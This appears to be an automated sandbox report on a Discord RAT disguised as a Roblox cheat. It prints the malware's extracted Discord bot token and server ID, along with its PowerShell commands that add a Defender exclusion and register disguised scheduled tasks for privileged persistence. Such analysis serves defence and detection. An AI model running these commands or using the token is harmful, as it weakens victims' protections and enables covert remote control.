Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
09/07/2026, 23:20
General
- Target roblox cheat.exe
- Size 86KB
- Sample260709-3bpetaby31
- SHA256 bc272740ee77ccd42b4900e5a0140145d11e841a9db6598cc35af9c06f9f93c8
Malware Config
Extracted
-
discordrat
-
discord_token
MTUyNDg5NTQzMjMyMzUwMjEzMQ.GKxrhg.HUgoQte2t5oeLmJPsnEkP67YlYBw15bGwZfYpc
-
server_id
1516445272723558461
Signatures
- Family: Discord RAT
A RAT written in C# using Discord as a C2.
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 2 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Contacts third-party web service commonly abused for C2 1 TTPs 21 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops file in System32 directory 2 IoCs
- Drops file in Windows directory 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\roblox cheat.exe"C:\Users\Admin\AppData\Local\Temp\roblox cheat.exe"1⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\temp.exe"C:\Windows\System32\temp.exe"2⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\msedge.exe"C:\Windows\msedge.exe"3⤵
- Looks for VirtualBox Guest Additions in registry
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "$Action = New-ScheduledTaskAction -Execute 'C:\Windows\System32\msedge.exe'; $Trigger = New-ScheduledTaskTrigger -AtLogOn; $Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'WindowsUpdateService' -Action $Action -Trigger $Trigger -Principal $Principal -Force | Out-Null; exit $LASTEXITCODE"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute 'C:\Windows\System32\temp.exe'; $Trigger = New-ScheduledTaskTrigger -AtLogOn; Register-ScheduledTask -TaskName 'UpdateSvc' -Action $Action -Trigger $Trigger -User $env:USERNAME -RunLevel Highest -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_w5acf5xj.0du.ps1
temp.exe
msedge.exe
memory/1036-65-0x00007FF635930000-0x00007FF635F20000-memory.dmp
memory/1036-55-0x00007FF635930000-0x00007FF635F20000-memory.dmp
memory/1036-44-0x00007FF635930000-0x00007FF635F20000-memory.dmp
memory/2492-22-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2492-26-0x00000153D3599000-0x00000153D359F000-memory.dmp
memory/2492-14-0x00000153EB950000-0x00000153EBA02000-memory.dmp
memory/2492-15-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2492-16-0x00000153EB660000-0x00000153EB66A000-memory.dmp
memory/2492-17-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2492-18-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2492-19-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2492-20-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2492-21-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2492-7-0x00000153EB5E0000-0x00000153EB602000-memory.dmp
memory/2492-23-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2492-25-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2492-13-0x00000153EB670000-0x00000153EB68E000-memory.dmp
memory/2796-53-0x000001BBA4DE0000-0x000001BBA4DFE000-memory.dmp
memory/4368-37-0x000001762AC90000-0x000001762B1B8000-memory.dmp
memory/4368-36-0x000001762A590000-0x000001762A752000-memory.dmp
memory/4368-27-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/4368-9-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/4368-43-0x000001762A760000-0x000001762AA2A000-memory.dmp
memory/4368-8-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/4368-1-0x00007FF964A4F000-0x00007FF964A50000-memory.dmp
memory/4368-4-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/4368-10-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/4368-3-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/4368-2-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/4368-63-0x000001760FF80000-0x000001760FF8E000-memory.dmp
memory/4368-0-0x000001760FAC0000-0x000001760FADA000-memory.dmp